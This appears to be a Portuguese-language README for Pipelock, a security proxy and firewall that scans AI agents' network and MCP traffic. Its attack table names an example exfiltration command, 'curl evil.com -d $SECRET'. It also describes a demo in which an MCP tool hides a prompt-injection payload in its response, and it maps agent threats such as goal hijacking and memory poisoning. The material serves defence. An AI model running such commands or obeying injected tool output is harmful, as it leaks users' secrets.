- **[JetBrains/Junie](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/jetbrains.md):** Encapsulamento de proxy MCP para IntelliJ, PyCharm, GoLand ([walkthrough](https://pipelab.org/learn/jetbrains-integration/))
- **Cursor:** `pipelock cursor install` registra o Pipelock como um hook do Cursor para execução de shell, chamadas de ferramenta MCP e leitura de arquivos; use `--config` para incorporar um caminho de política validado e `pipelock cursor remove` para remover hooks gerenciados pelo Pipelock. Você também pode usar `configs/cursor.yaml` com o mesmo padrão de proxy MCP do [Claude Code](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/claude-code.md) ([walkthrough](https://pipelab.org/learn/cursor-integration/))
- **VS Code:** `pipelock vscode install` reescreve `.vscode/mcp.json` para rotear cada servidor MCP através do proxy MCP; `--global` direciona o `mcp.json` do nível do usuário
- **[OpenClaw](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/openclaw.md):** sidecar de gateway, container init, encapsulamento de configuração
- **Qualquer outro cliente MCP:** `pipelock generate mcporter` lê qualquer arquivo JSON com um objeto `mcpServers` de nível superior e encapsula cada servidor através do proxy do Pipelock, de modo que um cliente que não esteja na lista acima ainda roteie através da varredura em um único comando.
---
## Implantação```bash
# Docker
docker pull ghcr.io/luckypipewrench/pipelock:latest
docker run -p 8888:8888 -v ./pipelock.yaml:/config/pipelock.yaml:ro \
ghcr.io/luckypipewrench/pipelock:latest \
run --config /config/pipelock.yaml --listen 0.0.0.0:8888
# Network-isolated agent with Docker Compose
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up
# Kubernetes with Helm
helm install pipelock charts/pipelock/
Receitas de produção para Docker Compose, Kubernetes sidecar + NetworkPolicy, iptables/nftables e macOS PF: docs/guides/deployment-recipes.md
A ação baixa um binário pré-construído, executa `pipelock audit`, verifica o diff do PR em busca de segredos vazados e envia o relatório de auditoria como um artefato do fluxo de trabalho. Veja [`examples/ci-workflow.yaml`](https://github.com/luckypipewrench/pipelock/blob/HEAD/examples/ci-workflow.yaml) para um fluxo de trabalho completo.
### Demonstração Executável: Tool-Response Injection
O harness [`examples/tool-response-injection/`](https://github.com/luckypipewrench/pipelock/blob/HEAD/examples/tool-response-injection/) executa uma demonstração de ponta a ponta onde uma ferramenta MCP com nome e descrição inofensivos esconde um payload de injeção de prompt em sua resposta. O Pipelock bloqueia a resposta antes que ela chegue ao agente e emite recibos de ação assinados que um terceiro pode verificar. A mesma demonstração é executada em três transportes com uma chave de assinatura compartilhada:
- MCP stdio
- MCP HTTP upstream
- HTTP fetch```bash
cd examples/tool-response-injection
python3 demo.py # needs python3 + cryptography + pipelock on PATH
Detecção que você pode estender, compartilhar e implantar mais rápido que o binário principal.
A detecção integrada de DLP, injeção e envenenamento de ferramentas do Pipelock é robusta desde o início. Pacotes de regras da comunidade permitem ir além: adicione seus próprios padrões para as formas de exfiltração, formatos de segredos e truques de injeção que sua pilha vê, assine-os e implante-os em um ritmo que você controla, em vez de esperar por uma versão.
Instale o pacote oficial em uma linha:
pip install pipelock-community-rules
``````bash
pipelock rules install pipelock-community
Os pacotes de regras são assinados e com versão fixada. O ciclo de vida completo é um comando enviado, não uma edição de configuração:```bash pipelock rules list # what is installed pipelock rules diff pipelock-community # what a new version would change pipelock rules update pipelock-community pipelock rules verify # confirm signatures against the trusted keyring pipelock rules remove pipelock-community
**Escreva a sua.** Uma regra é uma pequena entrada YAML com um nome, uma categoria (DLP, injeção ou envenenamento de ferramenta) e um padrão. Assine-a com sua chave, coloque-a em um pacote, e toda instância do Pipelock que você executar a adotará. Compartilhe-a com a comunidade e ela protegerá todos os outros também.
Contribua com uma regra para o pacote público [pipelock-rules](https://github.com/luckyPipewrench/pipelock-rules) ou leia [docs/rules.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/rules.md) para criar e assinar a sua própria.
---
## Documentação
Diretório completo da documentação: [docs/](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/)
| Documento | O que Contém |
|----------|-------------|
| [Referência de Configuração](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/configuration.md) | Todos os campos de configuração, padrões, comportamento de recarga a quente, predefinições |
| [Política de Requisição](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/request-policy.md) | Trilhos de negação/aviso por padrão em operações de API de saída (GraphQL / discriminador / lote), fail-closed (v2.6) |
| [Redação de Requisição](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/redaction.md) | Reescrita de requisição JSON através de transportes HTTP, WebSocket e MCP |
| [Ajuste de Falsos Positivos](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/false-positive-tuning.md) | Identificação, supressão e ajuste de descobertas do scanner |
| [API de Varredura](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/scan-api.md) | Ponto de extremidade de avaliação para varredura programática |
| [Receitas de Implantação](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/deployment-recipes.md) | Docker Compose, sidecar K8s, iptables, macOS PF |
| [`pipelock doctor`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/doctor.md) | Diagnósticos de implantação configurados vs. aplicáveis para proxy, TLS, MCP, file_sentry, telemetria e sinais de contenção |
| [`pipelock dashboard`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/dashboard.md) | Configuração do painel do operador: modos de autenticação, permissões RBAC, evidências, isenções, orçamentos, confiança e chaves, visões de frota, backup/restauração e certificados de cobertura |
| [`pipelock verify-install`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/verify-install.md) | Varredura determinística, prova local e verificações de fumaça de saída direta |
| [`pipelock update`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/update.md) | Autoatualização verificada: manifesto de versão assinado, verificação de soma de verificação, verificação cruzada opcional com cosign, instalação atômica, reversão |
| [Resistência a Bypass](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/bypass-resistance.md) | Técnicas de evasão conhecidas, mitigações, limitações |
| [Ataques Conhecidos Bloqueados](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/attacks-blocked.md) | Ataques reais com trechos de reprodução |
| [Integração com SIEM](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/siem-integration.md) | Esquema de log, saída CEF/syslog, encaminhamento Enterprise durável, ciclo de vida, métricas, consultas SIEM |
| [Referência de Métricas](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/metrics.md) | Famílias de métricas Prometheus, rótulos, estatísticas JSON e regras de alerta |
| [Regras da Comunidade](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/rules.md) | Instalar, configurar e criar pacotes de regras assinados |
| [Garantia de Segurança](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/security-assurance.md) | Modelo de segurança, limites de confiança, cadeia de suprimentos |
| [Documentos de Segurança](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/security/) | Política de divulgação, caminhos não suportados, rotação de chaves, modelos de ameaça TLS CA e Audit Packet |
| [Prontidão Empresarial](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/enterprise-readiness.md) | Controles empresariais fornecidos, caminho de avaliação, decisões de implantação e limites explícitos |
| [Builds Reproduzíveis](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/reproducible-builds.md) | Verificação binária OSS byte por byte, entradas estáveis, integração de versões e escopo |
| [Supressão de Descobertas](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/suppression.md) | Nomes de regras, correspondência de caminhos, comentários em linha |
| [Modos de Transporte](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/transport-modes.md) | Todos os modos de proxy e suas capacidades de varredura |
| [OWASP MCP Top 10](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/compliance/owasp-mcp-top10.md) | Cobertura OWASP MCP Top 10 |
| [OWASP Agentic Top 15](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/owasp-agentic-top15-mapping.md) | Cobertura OWASP Agentic AI Top 15 |
| [OWASP LLM Top 10](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/owasp-llm-top10-mapping.md) | Cobertura OWASP Top 10 para Aplicações LLM (2025) |
| [EU AI Act](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/compliance/eu-ai-act-mapping.md) | Mapeamento de conformidade com o EU AI Act |
| [NIST 800-53](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/compliance/nist-800-53.md) | Mapeamento de controles NIST SP 800-53 Rev. 5 |
| [Mapeamento Assess](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/compliance/assess-mapping.md) | Mapeia controles de tempo de execução para as estruturas contra as quais o `pipelock assess` produz evidências, para revisão de aquisição e auditoria |
| [Especificação de Política v0.1](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/policy-spec-v0.1.md) | Formato portátil de política de firewall para agente |
| [Envelope de Mediação](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/mediation-envelope.md) | Cabeçalhos de metadados de banda lateral, configuração, interação com recibos |
| [Política de Mídia](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/media-policy.md) | Remoção de esteganografia, endurecimento SVG, tipos permitidos, limites de tamanho |
| [Terminologia de Evidência](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/evidence/README.md) | Referência rápida para ActionReceipt, EvidenceReceipt, gravador de voo, pontos de verificação, âncoras, certificados de cobertura e Audit Packets, com as distinções integridade vs. completude e fixado vs. não fixado |
| [Verificação de Recibo](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/receipt-verification.md) | `pipelock verify-receipt`, verificação de Relatório de Recibo de Frota, `pipelock-verifier` autônomo, suíte de conformidade, integridade da cadeia |
| [Perfis de Especificação de Recibo](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/specs/in-toto-agent-action-receipt-v0.1.md) | Predicado de atestado in-toto para recibos de ação, com perfis SCITT e AARP acompanhantes e mapeamento de arte anterior |
| [Modelo de Ameaça Audit Packet](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/security/audit-packet-threat-model.md) | O que os Audit Packets verificados provam, o que não provam e as suposições de confiança que as partes confiantes devem fixar |
| [Cobertura de Transporte de Recibo](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/receipt-transports.md) | Matriz de emissão de recibos através de caminhos fetch, forward, CONNECT/TLS, WebSocket, MCP e A2A |
| [Learn-and-Lock](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/learn-and-lock.md) | Contratos comportamentais por agente: observar, compilar, sombrear, ratificar, promover (v2.4) |
| [Federação](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/federation.md) | Verificação de envelope de mediação de entrada, formato de ator SPIFFE, diretório conhecido RFC 9421 (v2.4) |
| [Cabeçalho de Motivo de Bloqueio](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/block-reason-header.md) | Esquema `X-Pipelock-Block-Reason`, vocabulário de motivo, dicas de repetição (v2.4) |
| [Ponto de Extremidade de Saúde](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/health.md) | Detecção de cunha `/health` 503, batimentos cardíacos de subsistemas, configuração do painel do operador (v2.4) |
| [Contenção de Host](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/contain-cli.md) | `pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh` para contenção de correspondência de proprietário nftables 3-UID com atestação de postura observada pelo kernel (v2.5) |
| [Manifestos de Integridade MCP](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/mcp-integrity.md) | Gerar, verificar, assinar e exigir manifestos de integridade binária MCP confiáveis (v2.5) |
| [CLI Adaptável](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/adaptive.md) | Inspecionar e liberar estado de tempo de execução de aplicação adaptável através da API de administração (v2.5) |
| [Conductor](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/conductor.md) | O plano de controle de frota Enterprise: distribuição de políticas, sink de auditoria, kill remoto, reversão, confiança mTLS/SPIFFE, licenciamento (v2.7, Enterprise) |
| [Runbook do Operador do Conductor](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/conductor-operator-runbook.md) | Walkthrough local prático de frota: bootstrap, servir, assinar um lote, verificar offline |
| [Quickstart do Operador do Conductor](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/conductor-operator-quickstart.md) | Do zero a uma auditoria de frota somente leitura: licença, certificado mTLS do operador, token de auditor, comandos somente leitura |
| [Implantação Enterprise Kubernetes](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/kubernetes-enterprise-deployment.md) | Frota Conductor baseada em Helm: plano de controle, seguidores, fleet-sink, Secrets PKI, NetworkPolicies |
| [`pipelock license`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/license.md) | Instalar, inspecionar e verificar a licença que desbloqueia recursos pagos (Pro `agents`, Enterprise `fleet`) |
| [`pipelock baseline`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/baseline.md) | Inspecionar, ratificar e reaprender perfis de linha de base comportamental através da API de administração autenticada |
| [Cápsula de Postura](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/posture-capsule.md) | Snapshots de postura assinados, CLI `posture verify`, gate de CI, modelo de pontuação |
| [`pipelock init sidecar`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/init-sidecar.md) | Gerar manifestos de proxy companheiro Kubernetes forçados e contratos de lançador MCP (fusão estratégica, Kustomize, valores Helm) |
| [`pipelock session`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/session.md) | CLI do operador para inspeção e recuperação de airlock (listar, inspecionar, explicar, liberar, encerrar, recuperar) |
| [`pipelock keys status`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/keys.md) | Inventário unificado de chaves de assinatura: fonte por propósito, presença, legibilidade, validade e impressão digital de chave pública |
| [Gravador de Voo](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/flight-recorder.md) | Registro de evidências assinado com hash encadeado: comportamento padrão ativado, selo de transcrição raiz, redação, custódia, rotação de chaves |
| [Interceptação TLS](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/tls-interception.md) | MITM de túnel CONNECT: configuração CA, varredura de corpo/cabeçalho/resposta, domínios de passagem |
| [Tokens Canários](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/canary-tokens.md) | Segredos sintéticos que disparam um alerta no momento em que um agente tenta exfiltrar um |
| [Integração de Detecção](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/detection-integration.md) | Alimentar decisões e evidências do Pipelock em pipelines de detecção / SIEM externos |
| [Revisão de PR](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/pr-review.md) | Revisão de segurança AI acionada manualmente para pull requests (comentário `/review`) |
| [Frente do Inspetor MCP](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/mcp-inspector-front.md) | Colocar ferramentas de desenvolvimento MCP (Inspector, servidores de teste) na frente da varredura do Pipelock |
| [`pipelock demo`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/demo.md) | Cenários de ataque autocontidos com recibos assinados verificáveis offline, sem necessidade de configuração ou rede |
| [Emblemas](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/badges.md) | Markdown pronto para o emblema `scanned by pipelock` em projetos downstream |
---
## Estrutura do Projeto```text
cmd/pipelock/ CLI entry point
internal/
cli/ 60+ Cobra commands (run, check, init, generate, mcp, session, posture, rules, ...)
diag/ `pipelock doctor` and install-verification diagnostics
session/ `pipelock session`, `pipelock adaptive`, and `pipelock baseline` operator CLIs
setup/ `pipelock init sidecar`: companion-proxy manifest generation (K8s)
config/ YAML config, validation, defaults, hot-reload (fsnotify)
scanner/ Ordered URL scanning pipeline + response injection detection
audit/ Structured JSON logging (zerolog) + event emission dispatch
proxy/ HTTP proxy: fetch, forward (CONNECT), WebSocket, DNS pinning, TLS
mcp/ MCP proxy + bidirectional scanning + tool poisoning + chains
integrity/ MCP binary/script integrity manifests and trust workflow
discover/ IDE/agent config discovery (Claude Code, Cursor, VS Code, JetBrains)
killswitch/ Emergency deny-all (6 sources) + port-isolated API
envelope/ Mediation envelope (RFC 8941) for sideband metadata
media/ Image metadata stripping (JPEG/PNG byte-level surgery)
normalize/ Text-normalization transforms (NFKC, invisible chars, leetspeak, whitespace, vowel-fold) for the scanner cascade
receipt/ Action receipt signing + hash-chained evidence
posture/ Posture capsule schema, signing, scoring, verify policy
session/ Session state, taint classification, task boundaries, trust overrides
rules/ Bundle loader, tier taxonomy, RequiredFeatures enforcement
sandbox/ Landlock, seccomp, netns, macOS sandbox-exec
shield/ Airlock, browser shield, SVG hardening
signing/ Ed25519 key management
integrity/ SHA256 file integrity monitoring
report/ HTML/JSON audit report generation
enterprise/ Multi-agent features (ELv2)
sdk/conformance/ Cross-implementation receipt verification test vectors
charts/ Helm chart for Kubernetes deployment
configs/ 7 built-in preset config files
docs/ Guides, references, compliance mappings
Pipelock é testado como um produto de segurança. O núcleo de código aberto possui testes unitários, de integração e ponta a ponta. Um conjunto adversarial privado separado exercita classes de ataque contra o binário de produção. Cada bypass é transformado em um teste de regressão antes do lançamento.
Execute make test para verificar localmente. Benchmark independente: o corpus público agent-egress-bench. Veja os resultados ao vivo.
Contribuições são bem-vindas. Veja CONTRIBUTING.md para diretrizes.
Se o Pipelock for útil, por favor, dê uma estrela neste repositório. Isso ajuda outras pessoas a encontrarem o projeto.
O núcleo do Pipelock é licenciado sob a Apache License 2.0. Copyright 2026 Joshua Waldrep.
As funcionalidades multi-agente (identidade por agente, orçamentos e isolamento de configuração)
estão no diretório enterprise/, controladas pela tag de build enterprise e licenciadas
sob a Elastic License 2.0 (ELv2). Essas funcionalidades são ativadas com uma chave de licença válida.
O núcleo de código aberto funciona de forma independente sem funcionalidades pagas. Toda varredura, detecção e proteção de agente único são gratuitas.
Os artefatos de lançamento pré-construídos (Homebrew, GitHub releases, imagens Docker) incluem código
de nível pago que é ativado com uma chave de licença válida. Compilar a partir do código fonte com go install ou o
Dockerfile do repositório produz um binário apenas da Comunidade.
Veja LICENSE para o texto da Apache 2.0 e enterprise/LICENSE para o texto da ELv2.
| Modo | Segurança | Navegação Web | Caso de Uso |
|---|
| estrito | Apenas lista de permissões | Nenhum | Indústrias regulamentadas, alta segurança |
| equilibrado | Bloqueia ingênuo + detecta sofisticado | Via fetch ou proxy encaminhador | Maioria dos desenvolvedores (padrão) |
| auditoria | Apenas registro | Sem restrições | Avaliação antes da aplicação |
| Vetor de Ataque | Estrito | Equilibrado | Auditoria |
|---|
curl evil.com -d $SECRET | Prevenido | Prevenido | Registrado |
| Segredo em parâmetros de consulta de URL | Prevenido | Detectado pelo DLP | Registrado |
| Segredo codificado em Base64 na URL | Prevenido | Detectado por entropia e DLP decodificado | Registrado |
| Tunelamento DNS | Prevenido | Detectado por entropia de subdomínio | Registrado |
| Exfiltração fragmentada | Prevenido | Detectado por verificações de taxa, orçamento e fragmento | Registrado |
| Blob criptografado com chave pública na URL | Prevenido | Registrado quando a entropia o sinaliza | Registrado |
| Pipelock | Scanners (agent-scan) | Sandboxes (srt) | Kernel agents (agentsh) |
|---|
| Prevenção de exfiltração de segredos | Sim | Parcial (modo proxy) | Parcial (nível de domínio) | Sim |
| DLP + análise de entropia | Sim | Não | Não | Parcial |
| Detecção de injeção de prompt | Sim | Sim | Não | Não |
| Varredura MCP (bidirecional + envenenamento de ferramentas) | Sim | Sim | Não | Não |
| Proxy WebSocket (varredura de quadros) | Sim | Não | Não | Não |
| Transporte HTTP MCP (Streamable HTTP) | Sim | Não | Não | Não |
| Chave de desligamento de emergência (6 fontes) | Sim | Não | Não | Não |
| Detecção de cadeia de chamadas de ferramenta | Sim | Não | Não | Não |
| Sandbox de processo (sem Docker) | Sim | Não | Não | Sim (nível de kernel) |
| Binário único, zero dependências | Sim | Não (Python) | Não (npm) | Não (kernel) |
| Ameaça | Cobertura |
|---|
| ASI01 Sequestro de Objetivo do Agente | Forte: MCP bidirecional + varredura de resposta |
| ASI02 Uso Indevido de Ferramenta | Parcial: proxy como ferramenta controlada, varredura MCP |
| ASI03 Abuso de Identidade e Privilégios | Forte: separação de capacidades + proteção SSRF |
| ASI04 Vulnerabilidades na Cadeia de Suprimentos | Parcial: monitoramento de integridade + varredura MCP |
| ASI05 Execução Inesperada de Código | Moderada: aprovação HITL, padrões fail-closed |
| ASI06 Envenenamento de Memória e Contexto | Moderada: detecção de injeção + propagação de contaminação de sessão |
| ASI07 Comunicação Insegura entre Agentes | Parcial: varredura MCP/A2A, ID do agente, integridade, assinatura |
| ASI08 Falhas em Cascata | Moderada: arquitetura fail-closed, limitação de taxa |
| ASI09 Exploração da Confiança Humano-Agente | Parcial: modos HITL, registro de auditoria |
| ASI10 Agentes Maliciosos | Forte: lista de permissões de domínio + limitação de taxa + separação de capacidades |
Detalhes, exemplos de configuração e análise de lacunas: docs/owasp-mapping.md
<pl:aws-access-key:1>tools/callpipelock explain <url> (também explain event <id> e explain mcp) imprime o scanner, camada, regra correspondente, superfície inspecionada e o ajuste de configuração mais específico disponível para um falso positivo. Veja docs/cli/explain.md.pipelock canary gera configuração de honeytoken. Um segredo sintético aparecendo no tráfego de saída prova que um agente ou algo em sua cadeia está exfiltando variáveis de ambiente. Veja tokens canário.pipelock skill-scan inventaria os arquivos de skill do agente, compara-os com um arquivo de lock de propriedade do operador e sinaliza combinações source-to-sink, como credential-to-network-sink ou shell-to-write com evidência de linha antes que qualquer coisa seja executada. Veja docs/cli/skill-scan.md.| Métrica | Valor |
|---|
Testes Go (com -race) | Caminhos unitários, de integração e ponta a ponta |
| Gate de cobertura (codecov) | 91% no projeto principal Apache-2.0, 95% em patch no novo código |
| Cobertura de evasão | Matriz pública de resistência a bypass + corpus adversarial privado |
| Sobrecarga de caminho crítico do scanner | ~40us por varredura de URL (benchmark de caminho crítico; veja docs/performance.md) |
| Matriz de CI | Go 1.25 + 1.26, CodeQL, golangci-lint |
| Cadeia de suprimentos | Proveniência SLSA, SBOM CycloneDX, assinaturas cosign |